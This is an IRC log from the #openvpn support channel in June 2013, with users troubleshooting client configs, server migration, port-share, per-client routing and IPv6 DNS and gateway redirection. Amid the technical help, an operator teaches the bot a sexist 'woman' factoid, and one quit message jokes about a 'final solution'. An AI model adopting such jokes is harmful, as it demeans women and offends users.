19:39 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 256 seconds]
19:44 < EugeneKay> "Yes."
19:51 < dimm0k> so myugh, this is ridiculous...  now i can get my linux client to connect, but windows won't!
19:51 < dimm0k> it was the other way around before...
19:51 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 260 seconds]
19:58 < dimm0k> i can ping the server from the windows client, but it doesn't seem like ovpn is even able to connect
20:00 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
20:02 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:03 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
20:06 < dimm0k> jeezus, quotes!!
20:11 < brianw> dimm0k: ya, I usually make a windows client conf and a linux one.
20:14 < dimm0k> brianw: yeah, i had a windows client conf that i lost and was redoing it...  apparently you need quotes in the client conf for specifying the cert/key
20:28 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:56 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
20:56 < fellayaboy> normally if there are two openvpn clients on the same LAN there would be no type of problems with that correct?
21:08 <@krzee> "normally"
21:08 <@krzee> very much depends on your vpn configuration
21:08 <@krzee> bridging would be baaaaad
21:09 <@krzee> redirecting internet traffic over the vpn would require a special flag to redirect-gateway
21:09 <@krzee> etc
21:10 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has quit [Changing host]
21:10 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
21:13 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
21:13 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has quit [Remote host closed the connection]
21:15 < EugeneKay> s/bad/hilarious/
21:22 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has quit [Remote host closed the connection]
21:25 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
21:30 -!- dimm0k [~dimm0k@pool-72-69-21-56.nycmny.fios.verizon.net] has joined #openvpn
21:30 -!- dimm0k [~dimm0k@pool-72-69-21-56.nycmny.fios.verizon.net] has quit [Changing host]
21:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
21:32 -!- brad [~brad@ninja.so] has joined #openvpn
21:41 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:43 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
21:49 -!- JAVACODER [~JAVACODER@2.190.34.207] has joined #openvpn
21:49 -!- NotKruz [~hhhh@108.206.230.100] has quit [Ping timeout: 260 seconds]
21:54 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
21:56 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
21:56 -!- lirime_ [~liriel@cinnabar.feralhosting.com] has joined #openvpn
21:58 -!- lirime_ [~liriel@cinnabar.feralhosting.com] has quit [Remote host closed the connection]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:13 -!- JAVACODER is now known as javacoder
22:19 < dimm0k> openvpn on ios is capable of handling passworded certs?
22:34 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
23:01 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:04 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
23:06 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 248 seconds]
23:15 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
23:17 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
23:19 -!- dimm0k [~dimm0k@pool-72-69-21-56.nycmny.fios.verizon.net] has joined #openvpn
23:19 -!- dimm0k [~dimm0k@pool-72-69-21-56.nycmny.fios.verizon.net] has quit [Changing host]
23:19 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:20 -!- [ELeG]Serano is now known as Serano
23:21 -!- mitz [~mitz@219.143.36.82] has joined #openvpn
23:27 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:35 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
23:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
23:38 -!- kroot [~locutus@of.the-b.org] has joined #openvpn
23:38 < kroot> Hello
23:39 -!- kroot [~locutus@of.the-b.org] has left #openvpn []
23:39 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
--- Day changed Mon Jun 03 2013
00:22 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
00:24 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
01:26 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
01:30 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
01:37 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:06 -!- mattock_afk is now known as mattock
02:14 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
02:33 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:34 < monk> good morning, i need to migrate openvpn from an ubuntu box to a centos box
02:34 < monk> i copied the files in /etc/openvpn/ to the new centos server but openvpn refuses to start
02:34 < monk> any ideas>
02:45 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
02:49 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:56 -!- tyrok [~tyrok@c-71-205-69-93.hsd1.mi.comcast.net] has quit [Ping timeout: 248 seconds]
03:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:11 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
03:12 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 248 seconds]
03:16 -!- tyrok [~tyrok@c-71-205-69-93.hsd1.mi.comcast.net] has joined #openvpn
03:22 -!- Denial [Denial@90.208.15.68] has joined #openvpn
03:23 < jzaw> monk ... did you actually install openvpn on the centos box ? </sarcams>
03:24 < monk> jzaw, no i just thought is could wish it on
03:30 -!- bxz_ [~bxz@80.232.172.100] has joined #openvpn
03:32 < pppingme> monk anything in logs?
03:33 < monk> pppingme, cant find the server.crt its odd as i copied all the files from a working vpn server
03:34 < monk> i did a locate on the old box and found one in usr/local/openvpn_as/etc/
03:34 < pppingme> permissions?
03:34 < monk> pppingme, the file isnt there in the right directory
03:34 < monk> its odd tho
03:36 < monk> pppingme, i got it running
03:36 < pppingme> where did you put them on the new box?
03:36 < pppingme> ok..
03:36 < monk> /etc/openvpn
03:37 < monk> still very strange
03:37 < monk> any ideas on how i can test
03:37 < monk> ?
03:38 < pppingme> you got it working?
03:39 < monk> pppingme, i see a tun0 in the ifconfig
03:39 < monk> i believe it is
03:39 < pppingme> test it..
03:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
03:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
03:48 -!- mode/#openvpn [+o plaisthos] by ChanServ
03:51 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 240 seconds]
04:01 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
04:01 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Remote host closed the connection]
04:19 -!- mitz [~mitz@219.143.36.82] has quit [Ping timeout: 276 seconds]
04:19 -!- mitz__ [~mitz@219.143.36.82] has joined #openvpn
04:20 -!- bxz_ [~bxz@80.232.172.100] has left #openvpn []
04:22 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
04:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
04:45 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:50 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 260 seconds]
05:04 -!- mitz__ [~mitz@219.143.36.82] has quit [Ping timeout: 248 seconds]
05:05 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
05:10 -!- javacoder [~JAVACODER@2.190.34.207] has quit [Remote host closed the connection]
05:11 -!- i7c [~i7c@unaffiliated/i7c] has quit [Quit: oh no, why]
05:11 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 246 seconds]
05:12 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
05:13 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 276 seconds]
05:13 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
05:13 -!- Willis [Willis@173.234.237.131] has joined #openvpn
05:16 -!- levifig [~levifig@spwn.co] has joined #openvpn
05:24 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
05:32 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
06:41 -!- xoui [~Dave@79.173.157.222] has joined #openvpn
06:41 < xoui> !welcome
06:41 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
06:41 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:41 < xoui> !goal
06:41 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:43 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 240 seconds]
06:43 < xoui> Would it be possible for me to chain VPN servers using openvpn?
06:46 <@krzee> yep
06:46 <@krzee> !google vpnchains
06:46 <@vpnHelper> OpenVPN/VpnChains - Secure Computing Wiki: <https://www.secure-computing.net/wiki/index.php/OpenVPN/VpnChains>; VPNCHAINS / Wiki / Home - SourceForge: <http://sourceforge.net/p/vpnchains/>; How to chain VPN ??? - SB-Innovation: <http://www.sb-innovation.de/f238/how-chain-vpn-7060/>
06:46 <@krzee> i wrote that top link ^
06:50 < xoui> Ah, I found that link earlier while searching :)
06:50 <@krzee> all you really need to understand is here:
06:50 <@krzee> !route
06:50 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:50 <@vpnHelper> the server or client
06:55 < xoui> Thank you :)
06:59 < nowak> can't have route in client configs? that is going to complicate things a lot :(
06:59 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
07:00 < nowak> i have two clients with different addresses but that should be routed a common subnet
07:00 < nowak> so i need per client route add / delete
07:01 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
07:02 < rob0> !ccd
07:02 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
07:03 < nowak> yes ccd, ccd doesnt support "route", only the internal route "iroute", routing from the os perspective is unhandled
07:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
07:21 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 260 seconds]
07:22 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
07:22 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:24 -!- mete [~mete@mete.shell.la] has joined #openvpn
07:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:12 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 252 seconds]
08:32 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
08:34 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
08:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
08:57 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
09:00 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
09:00 < suprsonic> does the --port-share argument allow for a remote host or does it need to be localhost?
09:07 < rob0> I see no mention of localhost under --port-share in the man page.
09:12 -!- xoui [~Dave@79.173.157.222] has quit [Quit: Leaving]
09:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:28 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
09:36 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
09:41 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Max SendQ exceeded]
09:42 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
09:46 -!- pcdummy_ is now known as pcdummy
09:46 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
09:46 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
10:07 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 264 seconds]
10:12 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
10:16 -!- raidz_away is now known as raidz
10:16 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
10:19 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:20 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has joined #openvpn
10:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:34 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
11:58 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:10 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
12:18 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Quit: testing]
12:19 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:20 < Olipro> I'm using OpenVPN with the pam plugin and it's dumping messages to the terminal, is there a way to get that into syslog too?
12:20 < Olipro> e.g. "AUTH-PAM: BACKGROUND: USER: someguy"
12:20 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Client Quit]
12:20 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:27 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Quit: final solution test...]
12:28 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:32 -!- monk [~aknm@196.14.139.96] has joined #openvpn
12:32 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
12:32 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
12:34 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Quit: bah...]
12:36 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:37 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 264 seconds]
12:39 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Client Quit]
12:39 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:41 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
12:42 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
12:44 -!- erry_ is now known as erry
12:53 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
12:56 -!- Willis [Willis@173.234.237.131] has joined #openvpn
13:03 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
13:03 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
13:03 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:25 < suprsonic> rob0 agreed, but when I add the variable into dd-wrt it fails to start the process
13:26 < suprsonic> Ihave to comment it out to get openvpn to run
13:29 < rob0> and what does it log about this?
13:29 < suprsonic> uyeah.... I got to find how to do that on dd-wrt  :)
13:31 < rob0> !logfile
13:31 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
13:31 < suprsonic> yup working on it now
13:33 < suprsonic> shit
13:33 < suprsonic> found it
13:33 < suprsonic> TCP server mode only
13:34 -!- mattock is now known as mattock_afk
13:35 <@ecrist> --port-share is TCP only
13:35 <@ecrist> it's covered in the man page. :)
13:36 < suprsonic> yeah I'm running so many openvpn instances I missed that this is a udp instance
13:36 < suprsonic> sorry for the trouble
13:41 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:25 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
14:26 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
14:27 -!- brad [~brad@ninja.so] has joined #openvpn
14:28 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 256 seconds]
15:26 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
15:45 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:48 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has joined #openvpn
15:58 -!- troyt [~troyt@c-24-10-222-127.hsd1.ut.comcast.net] has quit [Quit: AAAGH!  IT BURNS!]
15:59 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
15:59 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has quit [Ping timeout: 276 seconds]
16:12 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:23 -!- Denial [Denial@90.208.15.68] has quit [Read error: Connection reset by peer]
16:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
16:30 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
16:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:47 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
16:48 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
16:57 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
17:16 -!- A-KO [as@unaffiliated/a-ko] has joined #openvpn
17:17 < A-KO> So, on the iPhone version; is it possible to store the CA cert in the keychain? The documentation wasn't too verbative about that other than you still need a 'ca' line referencing the cert name. Currently, I store it in the .ovpn config file. The same could be said for the <tls-auth> key.
17:20 < A-KO> also, any idea how to push ipv6 DNS servers?
17:21 < cnf> A-KO: afaik, you can only store the keys inline
17:23 < Slippern> i have a very strange problem, im connecting to my vpn, i can ping gateway and other websites, use ssh, rdp etc, but i cannot browse websites.. any ideas why?
17:28 -!- A-KO [as@unaffiliated/a-ko] has quit []
17:35 -!- A-KO [~sa@unaffiliated/a-ko] has joined #openvpn
17:40 < A-KO> Anyways....any way to push IPv6 DNS servers? It seems the push "dhcp-option DNS" doesn't quite support it...
17:57 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
17:59 -!- A-KO^^ [as@2601:a:f00:1f:dcd8:19f3:864f:a51a] has joined #openvpn
18:03 -!- A-KO [~sa@unaffiliated/a-ko] has quit [Ping timeout: 240 seconds]
18:03 -!- A-KO^^ is now known as A-KO
18:03 -!- A-KO [as@2601:a:f00:1f:dcd8:19f3:864f:a51a] has quit [Changing host]
18:03 -!- A-KO [as@unaffiliated/a-ko] has joined #openvpn
18:03 < BtbN> A-KO: no idea, but as long as you still have IPv4, you don't realy need ipv6 nameservers.
18:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
18:06 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 240 seconds]
18:20 < A-KO> BtbN: That's kind of not the point...
18:20 < BtbN> what't the point then?
18:20 < BtbN> *s
18:23 -!- master_of_master [~master_of@p4FF24F1B.dip0.t-ipconnect.de] has joined #openvpn
18:24 -!- master_o1_master [~master_of@p4FF24F22.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:25 < A-KO> the point is to perform DNS queries over IPv6 DNS servers...
18:27 < rob0> Eye peavy sicks
18:29 < kisom> You win or you die.
18:29 < BtbN> IPv4 servers also can answer AAAA queries
18:29 < BtbN> so there's no problem with having only ipv4 dns servers.
18:31 < A-KO> I'm well aware, I'm just saying that pushing v6 dns servers should be available...
18:40 < nowak> BtbN: the point is future, it wont happen unless someone actually goes for it
18:43 < BtbN> the private IPv4 addresses won't run out. So there is no urgend need for this.
18:43 < BtbN> *t
18:44 < EugeneKay> A-KO - nope; 2.3 v6 support isn't nearly as good as v4. Just be patient.
18:44 < BtbN> the biggest problem with v6 in ovpn is currently that there is no v6 redirect-gateway
18:44 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
18:45 < EugeneKay> Sure there is. Push a route for 2000::/3 ;-)
18:45 < BtbN> that will kill the connection to the server itself
18:47 < EugeneKay> If you're using v6 transport, yeah.
18:47 < EugeneKay> That, also, is trivial: add a route to $IP
18:47 < nowak> BtbN: and thats the problem itself, ipv4 ended a long time ago, nat is its life cupport
18:47 < BtbN> so?
18:47 < A-KO> I've been v6 native forever....
18:48 < BtbN> even if both machines only have v6, the openvpn network could still have a private v4 and do DNS over it...
18:48 < BtbN> EugeneKay: a route on what interface?
18:48 < EugeneKay> Whatever your default is?
18:48 < BtbN> there is currently no way to figure that out in openvpn
18:48 < BtbN> for v4 there is an alias for that interface
18:48 < BtbN> but not for v6
18:48 < EugeneKay> Patches welcome ;-)
18:49 < BtbN> It's there for v4
18:49 < BtbN> v6 needs it, too
18:49 < nowak> BtbN: so please dont smother ipv6 pioneers ;)
18:49 < EugeneKay> Even with my v6 running via a tunnel, I get ~20ms better ping via 6 than 4.
18:49 < BtbN> then the route ->tunnel-endpoint->destination is better than your direct route
18:50 < EugeneKay> It's because of asymmetric routing
18:50 < BtbN> i got the same with youtube
18:50 < BtbN> if i (v4) tunnel over my server, i got a better ping
18:50 < BtbN> 30ms vs. 300ms
18:50 < EugeneKay> Via v4, the handoff from Suddenlink(my ISP's upstream) to HE occurs in Dallas, and then the return packets go back onto Suddenlink in CA.
18:51 < EugeneKay> Tunnel traffic hands off from HE in Dallas both ways, thus minimizing the lag on Suddenlink's piece of shit network
18:51 < EugeneKay> It doesn't help that the first 40ms of ping occurs at my ISP's DSL ATM.
18:52 < EugeneKay> Piece of junk.
18:58 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
19:37 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
19:43 <@krzee> <EugeneKay> Sure there is. Push a route for 2000::/3 ;-)
19:43 <@krzee> <BtbN>that will kill the connection to the server itself
19:43 <@krzee> <EugeneKay>If you're using v6 transport, yeah.
19:43 <@krzee> heh, someone forgot to look at what redirect-gateway is before saying that
19:43 < EugeneKay> !read
19:43 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
19:43 <@krzee> (it is just a helper directive, one that calls other directives, which are supported fine in v6 afaik)
19:44 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
19:44 <@krzee> i throw in the afaik since i dont actually *use* ipv6
19:44 < EugeneKay> !redirect
19:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:44 <@vpnHelper> http://ircpimps.org/redirect.png
19:44 <@krzee> !man
19:44 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
19:44 <@krzee> !woman
19:45 <@krzee> !learn woman as see !man but with a monthly attitude :D
19:45 <@vpnHelper> Joo got it.
19:46 < EugeneKay> My testing with v6 a while ago didn't get redirect-gateway working
19:46 <@krzee> im sure theres a better funny for !woman but we'll come up with it later ;]
19:46 < EugeneKay> I was just trying to get v6 for my laptop while travelling; routing 2000::/3 worked fine.
19:47 <@krzee> well sure, but --redirect-gateway is simply 3 steps (or 2 when using def1)
19:47 <@krzee> like how you dont /need/ --server to run a server, you dont /need/ --redirect-gateway to redirect the gateway
19:47 <@krzee> (as you know well, obviously)
19:48 < EugeneKay> I don't use --server anywhere in fact
19:48 <@krzee> i use it everywhere except my static key setups
19:49 <@krzee> i needed PTP for running ospf with bird, otherwise freebsd was coming up with funkyness
19:49 <@krzee> bird was getting all confused about how to deal with next hop, moved to ptp and all was good
19:50 < EugeneKay> I need  to sit down and fiddle with quagga+ospf sometime
19:51 < EugeneKay> I'm getting sick and tired of my telco's crappy DSL; calling the cable guy in tomorrow to see if they'll light me.
19:52 < EugeneKay> I might end up doing link aggregation down to a VPS in Dallas
19:52 <@krzee> im actually able to improve my link to the net by tunneling through one of my servers
19:53 <@krzee> i have a better link to 1 of my servers than my link to much of the internet? and it has good links to everywhere
19:56 < EugeneKay> I wish these guys would give me more info about the service o nthe web
19:56 < EugeneKay> I hate talking to people
19:57 < EugeneKay> All they say is "up to 50mb"
19:59 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:01 -!- raidz is now known as raidz_away
20:02 -!- ahstanford [~alexstanf@c-66-177-27-229.hsd1.fl.comcast.net] has joined #openvpn
20:03 < ahstanford> I'm trying to connect via the Windows client and but can't figure out where to put the cert and config files?
20:04 < EugeneKay> Wherever you like. If you're going to be starting it as a Windows Service(not using the tray icon thingy), ProgramFiles/openvpn/config/ or so.
20:05 < ahstanford> so just create that dir?
20:05 < ahstanford> I'm using the desktop client via http://openvpn.net/?option=com_content&id=357
20:05 < EugeneKay> It should exist already. Might be called something else
20:05 <@vpnHelper> Title: Client Packages (at openvpn.net)
20:05 < ahstanford> vpnHelper ^
20:05 < EugeneKay> That's the AS (commercial) client.
20:05 < EugeneKay> !download
20:06 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
20:06 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
20:06 < ahstanford> ah
20:07 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
20:11 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:19 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
20:25 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:34 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
20:38 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:47 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
20:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
